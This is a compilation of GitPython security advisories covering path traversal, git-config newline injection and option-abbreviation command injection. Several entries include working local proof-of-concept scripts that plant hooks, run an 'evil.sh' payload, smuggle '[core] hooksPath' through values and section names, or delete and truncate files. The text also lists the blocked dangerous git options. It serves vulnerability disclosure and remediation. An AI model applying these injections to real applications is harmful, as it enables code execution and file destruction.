[https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-2160) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### [CVE-2026-42284](https://nvd.nist.gov/vuln/detail/CVE-2026-42284) / [GHSA-x2qx-6953-8485](https://github.com/advisories/GHSA-x2qx-6953-8485) / PYSEC-2026-2161 <details> <summary>More information</summary> #### Details GitPython is a python library used to interact with Git repositories. Prior to version 3.1.47, _clone() validates multi_options as the original list, then executes shlex.split(" ".join(multi_options)). A string like "--branch main --config core.hooksPath=/x" passes validation (starts with --branch), but after split becomes ["--branch", "main", "--config", "core.hooksPath=/x"]. Git applies the config and executes attacker hooks during clone. This issue has been patched in version 3.1.47. #### Severity - CVSS Score: 9.8 / 10 (Critical) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` #### References - [https://www.tenable.com/cve/CVE-2026-32686](https://www.tenable.com/cve/CVE-2026-32686) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47) - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-2161) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### GitPython reference APIs has a path traversal vulnerability that allows arbitrary file write and delete outside the repository [CVE-2026-44243](https://nvd.nist.gov/vuln/detail/CVE-2026-44243) / [GHSA-7545-fcxq-7j24](https://github.com/advisories/GHSA-7545-fcxq-7j24) / PYSEC-2026-2162 <details> <summary>More information</summary> #### Details ##### 🧾 Summary A vulnerability in **GitPython** allows **attackers who can supply a crafted reference path to an application using GitPython** to **write, overwrite, move, or delete files outside the repository’s `.git` directory** via **insufficient validation of reference paths in reference creation, rename, and delete operations**. --- ##### 📦 Affected Versions * Affected: `<= 3.1.46` and current `main` (`3.1.47` in local checkout) --- ##### 🧠 Details ##### Vulnerability Type **Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion** --- ##### Root Cause Reference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations. `SymbolicReference._check_ref_name_valid()` rejects traversal sequences such as `..`, but `SymbolicReference.create`, `Reference.create`, `SymbolicReference.set_reference`, `SymbolicReference.rename`, and `SymbolicReference.delete` still construct filesystem paths from attacker-controlled ref names without enforcing repository boundaries. --- ##### Affected Code ```python def set_reference(self, ref, logmsg=None): ... fpath = self.abspath assure_directory_exists(fpath, is_file=True) lfd = LockedFD(fpath) fd = lfd.open(write=True, stream=True) ... ``` ```python @classmethod def delete(cls, repo, path): full_ref_path = cls.to_full_path(path) abs_path = os.path.join(repo.common_dir, full_ref_path) if os.path.exists(abs_path): os.remove(abs_path) ``` ```python def rename(self, new_path, force=False): new_path = self.to_full_path(new_path) new_abs_path = os.path.join(_git_dir(self.repo, new_path), new_path) cur_abs_path = os.path.join(_git_dir(self.repo, self.path), self.path) ... os.rename(cur_abs_path, new_abs_path) ``` --- ##### Attack Vector **Local attack through application-controlled input passed into GitPython reference APIs** ##### Authentication Required **None at the library boundary. In practice, exploitation requires the ability to influence ref names supplied by the consuming application.** --- ##### 🧪 Proof of Concept ##### Setup ```bash pip install GitPython==3.1.46 python poc.py ``` --- ##### Exploit ```python import shutil from pathlib import Path from git import Repo from git.refs.reference import Reference from git.refs.symbolic import SymbolicReference base = Path("gp-ghsa-poc").resolve() if base.exists(): shutil.rmtree(base) repo_dir = base / "repo" repo = Repo.init(repo_dir) (repo_dir / "a.txt").write_text("init\n", encoding="utf-8") repo.index.add(["a.txt"]) repo.index.commit("init") outside_write = base / "outside_write.txt" outside_delete = base / "outside_delete.txt" outside_delete.write_text("DELETE ME\n", encoding="utf-8") print(f"repo_dir = {repo_dir}") print(f"outside_write = {outside_write}") print(f"outside_delete = {outside_delete}") Reference.create(repo, "../../../outside_write.txt", "HEAD") print("\n[+] outside_write exists:", outside_write.exists()) if outside_write.exists(): print("[+] outside_write content:") print(outside_write.read_text(encoding="utf-8")) SymbolicReference.delete(repo, "../../../outside_delete.txt") print("\n[+] outside_delete exists after delete:", outside_delete.exists()) ``` --- ##### Result ```text repo_dir = ...\gp-ghsa-poc\repo outside_write = ...\gp-ghsa-poc\outside_write.txt outside_delete = ...\gp-ghsa-poc\outside_delete.txt [+] outside_write exists: True [+] outside_write content: <current HEAD commit SHA> [+] outside_delete exists after delete: False ``` --- ##### 💥 Impact ##### What can an attacker do? * Create or overwrite files outside the repository metadata directory * Delete attacker-chosen files reachable from the process permissions * Corrupt application state or configuration files * Cause denial of service by deleting or overwriting important files --- ##### Security Impact * **Confidentiality:** Low * **Integrity:** High * **Availability:** High --- ##### Who is affected? * Applications that expose GitPython reference operations to user-controlled input * Git automation services, repository management backends, CI/CD helpers, and developer platforms * Multi-user environments where one user can influence ref names processed on behalf of another workflow --- ##### 🛠️ Mitigation / Fix ##### Recommended Fix ```python def _validate_ref_write_path(repo, path, *, for_git_dir=False): SymbolicReference._check_ref_name_valid(path) base = Path(repo.git_dir if for_git_dir else repo.common_dir).resolve() target = (base / path).resolve() if base not in [target, *target.parents]: raise ValueError(f"Reference path escapes repository boundary: {path}") return str(target) ``` ```python full_ref_path = cls.to_full_path(path) _validate_ref_write_path(repo, full_ref_path) ``` #### Severity - CVSS Score: 7.8 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24) - [https://nvd.nist.gov/vuln/detail/CVE-2026-44243](https://nvd.nist.gov/vuln/detail/CVE-2026-44243) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.48](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.48) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-7545-fcxq-7j24) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### [CVE-2026-44243](https://nvd.nist.gov/vuln/detail/CVE-2026-44243) / [GHSA-7545-fcxq-7j24](https://github.com/advisories/GHSA-7545-fcxq-7j24) / PYSEC-2026-2162 <details> <summary>More information</summary> #### Details GitPython is a python library used to interact with Git repositories. Prior to version 3.1.48, a vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository’s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations. This issue has been patched in version 3.1.48. #### Severity - CVSS Score: 7.1 / 10 (High) - Vector String: `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.48](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.48) - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-2162) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### GitPython: Newline injection in config_writer().set_value() enables RCE via core.hooksPath [CVE-2026-44244](https://nvd.nist.gov/vuln/detail/CVE-2026-44244) / [GHSA-v87r-6q3f-2j67](https://github.com/advisories/GHSA-v87r-6q3f-2j67) / PYSEC-2026-2163 <details> <summary>More information</summary> #### Details `GitConfigParser.set_value()` passes values to Python's `configparser` without validating for newlines. GitPython's own `_write()` converts embedded newlines into indented continuation lines (e.g. `\n` becomes `\n\t`), but Git still accepts an indented `[core]` stanza as a section header — so the injected `core.hooksPath` becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. The vulnerability is not merely malformed config output: GitPython's own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented `[core]` stanza as a section header, so the injected `core.hooksPath` becomes effective configuration. This was found while auditing MLRun's `project.push()` method, which passes `author_name` and `author_email` directly to `config_writer().set_value()` with no sanitization. Both parameters cross a trust boundary — they are caller-supplied API inputs that end up in `.git/config`. PoC (standalone, no MLRun required): ```python import git, subprocess, os repo = git.Repo("/tmp/testrepo") with repo.config_writer() as cw: cw.set_value("user", "name", "foo\n[core]\nhooksPath=/tmp/hooks") r = subprocess.run(["git", "config", "core.hooksPath"], cwd="/tmp/testrepo", capture_output=True, text=True) assert r.returncode == 0 print(r.stdout.strip()) # /tmp/hooks os.makedirs("/tmp/hooks", exist_ok=True) open("/tmp/hooks/pre-commit", "w").write("#!/bin/sh\nid > /tmp/pwned\n") os.chmod("/tmp/hooks/pre-commit", 0o755) repo.index.add(["README"]) repo.git.commit(m="test") print(open("/tmp/pwned").read()) # uid=... ``` Tested on GitPython 3.1.46, git 2.39+. Impact: This is persistent repo config poisoning. Any user who can supply `author_name` or `author_email` to an application calling `config_writer().set_value()` can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the `.git/config` of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically. Remediation: `set_value()` should raise on CR, LF, or NUL in values rather than silently pass them through: ```python import re if isinstance(value, (str, bytes)) and re.search(r"[\r\n\x00]", str(value)): raise ValueError("Git config values must not contain CR, LF, or NUL") ``` Rejecting is safer than stripping — a stripped newline might indicate the caller is passing unsanitized input at a higher level, and silent normalization masks that. Affected wherever `config_writer().set_value(section, key, user_input)` is called with external input.** GitPython is a dependency of DVC, MLflow, Kedro, and others — worth auditing their `set_value()` call sites for externally influenced inputs. #### Severity - CVSS Score: 7.8 / 10 (High) - Vector String: `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67) - [https://nvd.nist.gov/vuln/detail/CVE-2026-44244](https://nvd.nist.gov/vuln/detail/CVE-2026-44244) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.49](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.49) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-v87r-6q3f-2j67) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### [CVE-2026-44244](https://nvd.nist.gov/vuln/detail/CVE-2026-44244) / [GHSA-v87r-6q3f-2j67](https://github.com/advisories/GHSA-v87r-6q3f-2j67) / PYSEC-2026-2163 <details> <summary>More information</summary> #### Details GitPython is a python library used to interact with Git repositories. Prior to version 3.1.49, GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. This issue has been patched in version 3.1.49. #### Severity - CVSS Score: 7.8 / 10 (High) - Vector String: `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.49](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.49) - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-2163) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath [CVE-2026-67326](https://nvd.nist.gov/vuln/detail/CVE-2026-67326) / [GHSA-mv93-w799-cj2w](https://github.com/advisories/GHSA-mv93-w799-cj2w) <details> <summary>More information</summary> #### Details Summary The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered. Details File: git/config.py — GitPython 3.1.49 (latest patched version) ```python def set_value(self, section: str, option: str, value) -> "GitConfigParser": value_str = self._value_to_string_safe(value) # only value is validated if not self.has_section(section): self.add_section(section) # section not validated super().set(section, option, value_str) # option not validated return self ``` _write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config. PoC ```python import git, os, subprocess repo = git.Repo.init("/tmp/bypass_test") os.makedirs("/tmp/evil_hooks", exist_ok=True) with open("/tmp/evil_hooks/pre-commit", "w") as f: f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n") os.chmod("/tmp/evil_hooks/pre-commit", 0o755) # Inject newline into section parameter (not value — already patched) with repo.config_writer() as cw: cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks") r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"], capture_output=True, text=True) print(r.stdout.strip()) # → /tmp/evil_hooks subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"]) print(open("/tmp/rce_proof.txt").read()) # → uid=1000(...) RCE confirmed ``` Impact Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable. #### Severity - CVSS Score: 7.0 / 10 (High) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w) - [https://github.com/advisories/GHSA-rpm5-65cw-6hj4](https://github.com/advisories/GHSA-rpm5-65cw-6hj4) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-mv93-w799-cj2w) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist [CVE-2026-67325](https://nvd.nist.gov/vuln/detail/CVE-2026-67325) / [GHSA-2f96-g7mh-g2hx](https://github.com/advisories/GHSA-2f96-g7mh-g2hx) / PYSEC-2026-3836 <details> <summary>More information</summary> #### Details ##### Command injection via long-option prefix abbreviation bypassing `check_unsafe_options` (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4) **Component:** gitpython-developers/GitPython (PyPI: GitPython) **Affected:** all versions carrying the 3.1.47 blocklist fix, through current `main` (verified at commit `20c5e275`, `3.1.50-42`) **Reporter:** hackkim ##### Summary The 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (`--upload-pack`, `--config`, `-c`, `-u` for clone; `--upload-pack` for fetch/pull; `--receive-pack`, `--exec` for push) so callers cannot reach command-executing options unless they pass `allow_unsafe_options=True`. The fix canonicalizes an option name along **one** axis (underscore→hyphen via `dashify`) and checks it against an **exact-match** dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (`--upload-p`, `--upload-pa`, `--upload-pac` all resolve to `--upload-pack`). So a kwarg key like `upload_p` canonicalizes to `upload-p`, misses the blocklist dict, and is emitted to git as `--upload-p=<value>` → executed as `--upload-pack=<value>` → command injection, in the default `allow_unsafe_options=False` configuration. ##### The asymmetry (root cause) ```python ##### git/cmd.py (commit 20c5e275), lines 948-974 @classmethod def _canonicalize_option_name(cls, option): option_name = option.lstrip("-").split("=", 1)[0] option_tokens = option_name.split(None, 1) if not option_tokens: return "" return dashify(option_tokens[0]) # only transform: "_" -> "-" @classmethod def check_unsafe_options(cls, options, unsafe_options): canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options} for option in options: unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option)) if unsafe_option is not None: raise UnsafeOptionError(...) ``` The guard normalizes only `_`→`-` and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option. ##### Affected code (commit `20c5e275`) | Location | Role | |---|---| | `git/cmd.py:948-960` `_canonicalize_option_name` | canonicalizer — no prefix expansion | | `git/cmd.py:963-974` `check_unsafe_options` | exact-match dict lookup (the incomplete guard) | | `git/cmd.py:1511` `transform_kwarg` | emits `--<dashify(name)>=<value>` to the CLI | | `git/repo/base.py:1411,1413` | clone call sites | | `git/remote.py:1074,1128,1201` | fetch / pull / push call sites | ##### Bypass keys (verified) | kwarg key | git resolves to | path | weaponizable | |---|---|---|---| | `upload_p`, `upload_pac` | `--upload-pack` | clone / fetch / pull | Yes — direct RCE | | `receive_p` | `--receive-pack` | push | Yes — direct RCE | | `exe` | `--exec` | push | Yes — direct RCE | | `conf`, `confi` | `--config` | clone | bypasses option blocklist; RCE needs an additional config vector (see note) | ##### Minimal PoC Self-contained, no network egress (a local bare repo acts as the "remote"). Tested on current `main` (git 2.50.1): ```python import os, stat, tempfile from git import Repo work = tempfile.mkdtemp() marker = os.path.join(work, "RCE_MARKER") ##### fake "upload-pack" program that proves arbitrary command execution prog = os.path.join(work, "evil.sh") with open(prog, "w") as f: f.write(f"#!/bin/sh\ntouch {marker}\nexit 1\n") # exit 1 so git aborts after our code ran os.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC) bare = os.path.join(work, "remote.git") Repo.init(bare, bare=True) ##### attacker-controlled kwarg KEY 'upload_p' -> --upload-p=<prog> -> git runs <prog> try: Repo.clone_from(bare, os.path.join(work, "out"), upload_p=prog) except Exception: pass # git aborts with GitCommandError AFTER the payload executed print("RCE marker created:", os.path.exists(marker)) # True -> command injection confirmed ``` Equivalent at the shell: `git clone --upload-p=/tmp/evil.sh src out` runs `evil.sh`. Confirmed behavior: - `upload_pack` (exact) → blocked; `upload_p` (abbrev) → passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form. - `allow_unsafe_options=True` opt-out behaves as documented (out of scope). ##### Honest scope note Like the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg **keys** into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable — the vulnerability is in the library's documented defense-in-depth control (`allow_unsafe_options=False`), which this variant defeats. On the `--config` family: `conf` bypasses the option blocklist, but weaponizing `--config protocol.ext.allow=always` via an `ext::` URL is independently blocked by GitPython's protocol allowlist (`allow_unsafe_protocols=False`). The directly weaponizable family is `upload-pack` / `receive-pack` / `exec`. Reported transparently — not claiming Critical. ##### Suggested remediation (any one) 1. **Prefix-aware matching:** reject any option whose canonical name is an unambiguous prefix of a blocked option (≈ `startswith` on the blocked canonical name, after `dashify`). 2. **Disable abbreviation at the sink:** pass `--end-of-options` or invoke git in a way that disables long-option abbreviation. 3. **Allowlist** option names on security-sensitive subcommands instead of a blocklist. Remediation should also cover the `-c`/`--config` family abbreviations, even though the `ext::` route is currently gated by the protocol allowlist. #### Severity - CVSS Score: 8.8 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-2f96-g7mh-g2hx](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-2f96-g7mh-g2hx) - [https://nvd.nist.gov/vuln/detail/CVE-2026-67325](https://nvd.nist.gov/vuln/detail/CVE-2026-67325) - [https://github.com/gitpython-developers/GitPython/pull/2161](https://github.com/gitpython-developers/GitPython/pull/2161) - [https://github.com/gitpython-developers/GitPython/commit/56806080c1348749b07daa4a2024ce47b3cad285](https://github.com/gitpython-developers/GitPython/commit/56806080c1348749b07daa4a2024ce47b3cad285) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51) - [https://www.vulncheck.com/advisories/gitpython-before-command-injection-via-option-prefix-abbreviation](https://www.vulncheck.com/advisories/gitpython-before-command-injection-via-option-prefix-abbreviation) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-2f96-g7mh-g2hx) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython: command injection via unguarded Git options in `Repo.archive()`, `git.ls_remote()`, and arbitrary file overwrite via `Repo.iter_commits()` / `Repo.blame()` [CVE-2026-67323](https://nvd.nist.gov/vuln/detail/CVE-2026-67323) / [GHSA-956x-8gvw-wg5v](https://github.com/advisories/GHSA-956x-8gvw-wg5v) / PYSEC-2026-3839 <details> <summary>More information</summary> #### Details ##### Summary GitPython already know that --upload-pack / --exec are command-exec vectors, they are denylist in git/remote.py:535 and check by Git.check_unsafe_options() (git/cmd.py:963), the thing is this check him he is only call from fetch, pull, push and clone_from, everything else who build a git argv from caller values just go through, no check, three examples ##### Code analysis Repo.archive (git/repo/base.py:1623) do self.git.archive("--", treeish, *path, **kwargs), the treeish is after the --, but the kwargs get dashify by transform_kwarg (git/cmd.py:1487) and they land before it, so {"remote": ".", "exec": "<cmd>"} give git archive --remote=. --exec=<cmd> -- <rev>, the --remote spawn the upload-archive helper and --exec choose which binary that is, done, default git config, no protocol.ext.allow needed, and archive already document caller kwargs (format, prefix, path) so pass a dict is normal usage repo.git.ls_remote(url, upload_pack="<cmd>"), same builder, same result, it's exactly the kwarg gap that CVE-2026-42215 close for fetch/pull/push/clone_from, except the dynamic repo.git.<anything>(**user_dict) surface him he never got the fix Repo.iter_commits / Repo.blame (git/objects/commit.py:348, git/repo/base.py:1199) put the rev before the --, no leading-dash check, a "branch name" like --output=/etc/whatever become git rev-list --output=... --, and git he open and truncate that file before he even validate the revision, the file is gone even if the command error right after ##### PoC Released 3.1.50, git 2.51.0, stock config (`git config --get protocol.ext.allow` returns nothing here). ``` pip install GitPython # 3.1.50 ``` Common setup for the three: ```python import io, os, tempfile, subprocess, git d = tempfile.mkdtemp() subprocess.run(['git','init','-q',d], check=True) subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a', 'commit','-q','--allow-empty','-m','init'], check=True) repo = git.Repo(d) tmp = tempfile.gettempdir() ``` 1. exec via archive (a service exports a repo and forwards the user's options dict): ```python m = os.path.join(tmp, 'gp_archive_check') try: repo.archive(io.BytesIO(), **{'remote': '.', 'exec': 'touch ' + m}) except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55]) print('[+] marker present:', os.path.exists(m)) ``` ``` [*] Cmd('git') failed due to: exit code(128) [+] marker present: True ``` 2. exec via ls_remote: ```python m = os.path.join(tmp, 'gp_lsremote_check') try: repo.git.ls_remote('.', upload_pack='touch ' + m + ';') except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55]) print('[+] marker present:', os.path.exists(m)) ``` ``` [*] Cmd('git') failed due to: exit code(128) [+] marker present: True ``` 3. file clobber via a rev that looks like a ref: ```python v = os.path.join(tmp, 'release_notes.txt') open(v,'w').write('do not delete\n') print('[*] before:', repr(open(v).read())) try: list(repo.iter_commits('--output=' + v)) except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55]) print('[+] after :', repr(open(v).read()), '<- truncated') ``` ``` [*] before: 'do not delete\n' [*] Cmd('git') failed due to: exit code(129) [+] after : '' <- truncated ``` #### Severity - CVSS Score: 8.4 / 10 (High) - Vector String: `CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-956x-8gvw-wg5v](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-956x-8gvw-wg5v) - [https://nvd.nist.gov/vuln/detail/CVE-2026-67323](https://nvd.nist.gov/vuln/detail/CVE-2026-67323) - [https://github.com/gitpython-developers/GitPython/pull/2163](https://github.com/gitpython-developers/GitPython/pull/2163) - [https://github.com/gitpython-developers/GitPython/commit/701ce32fe5ba8cb622c0e0342a376a6beb47d738](https://github.com/gitpython-developers/GitPython/commit/701ce32fe5ba8cb622c0e0342a376a6beb47d738) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51) - [https://www.vulncheck.com/advisories/gitpython-before-command-injection-via-unguarded-git-options](https://www.vulncheck.com/advisories/gitpython-before-command-injection-via-unguarded-git-options) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-956x-8gvw-wg5v) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist [CVE-2026-67325](https://nvd.nist.gov/vuln/detail/CVE-2026-67325) / [GHSA-2f96-g7mh-g2hx](https://github.com/advisories/GHSA-2f96-g7mh-g2hx) / PYSEC-2026-3836 <details> <summary>More information</summary> #### Details ##### Command injection via long-option prefix abbreviation bypassing `check_unsafe_options` (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4) **Component:** gitpython-developers/GitPython (PyPI: GitPython) **Affected:** all versions carrying the 3.1.47 blocklist fix, through current `main` (verified at commit `20c5e275`, `3.1.50-42`) **Reporter:** hackkim ##### Summary The 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (`--upload-pack`, `--config`, `-c`, `-u` for clone; `--upload-pack` for fetch/pull; `--receive-pack`, `--exec` for push) so callers cannot reach command-executing options unless they pass `allow_unsafe_options=True`. The fix canonicalizes an option name along **one** axis (underscore→hyphen via `dashify`) and checks it against an **exact-match** dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (`--upload-p`, `--upload-pa`, `--upload-pac` all resolve to `--upload-pack`). So a kwarg key like `upload_p` canonicalizes to `upload-p`, misses the blocklist dict, and is emitted to git as `--upload-p=<value>` → executed as `--upload-pack=<value>` → command injection, in the default `allow_unsafe_options=False` configuration. ##### The asymmetry (root cause) ```python ##### git/cmd.py (commit 20c5e275), lines 948-974 @classmethod def _canonicalize_option_name(cls, option): option_name = option.lstrip("-").split("=", 1)[0] option_tokens = option_name.split(None, 1) if not option_tokens: return "" return dashify(option_tokens[0]) # only transform: "_" -> "-" @classmethod def check_unsafe_options(cls, options, unsafe_options): canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options} for option in options: unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option)) if unsafe_option is not None: raise UnsafeOptionError(...) ``` The guard normalizes only `_`→`-` and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option. ##### Affected code (commit `20c5e275`) | Location | Role | |---|---| | `git/cmd.py:948-960` `_canonicalize_option_name` | canonicalizer — no prefix expansion | | `git/cmd.py:963-974` `check_unsafe_options` | exact-match dict lookup (the incomplete guard) | | `git/cmd.py:1511` `transform_kwarg` | emits `--<dashify(name)>=<value>` to the CLI | | `git/repo/base.py:1411,1413` | clone call sites | | `git/remote.py:1074,1128,1201` | fetch / pull / push call sites | ##### Bypass keys (verified) | kwarg key | git resolves to | path | weaponizable | |---|---|---|---| | `upload_p`, `upload_pac` | `--upload-pack` | clone / fetch / pull | Yes — direct RCE | | `receive_p` | `--receive-pack` | push | Yes — direct RCE | | `exe` | `--exec` | push | Yes — direct RCE | | `conf`, `confi` | `--config` | clone | bypasses option blocklist; RCE needs an additional config vector (see note) | ##### Minimal PoC Self-contained, no network egress (a local bare repo acts as the "remote"). Tested on current `main` (git 2.50.1): ```python import os, stat, tempfile from git import Repo work = tempfile.mkdtemp() marker = os.path.join(work, "RCE_MARKER") ##### fake "upload-pack" program that proves arbitrary command execution prog = os.path.join(work, "evil.sh") with open(prog, "w") as f: f.write(f"#!/bin/sh\ntouch {marker}\nexit 1\n") # exit 1 so git aborts after our code ran os.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC) bare = os.path.join(work, "remote.git") Repo.init(bare, bare=True) ##### attacker-controlled kwarg KEY 'upload_p' -> --upload-p=<prog> -> git runs <prog> try: Repo.clone_from(bare, os.path.join(work, "out"), upload_p=prog) except Exception: pass # git aborts with GitCommandError AFTER the payload executed print("RCE marker created:", os.path.exists(marker)) # True -> command injection confirmed ``` Equivalent at the shell: `git clone --upload-p=/tmp/evil.sh src out` runs `evil.sh`. Confirmed behavior: - `upload_pack` (exact) → blocked; `upload_p` (abbrev) → passes guard, reaches git, executes. The fix works for the form it models but 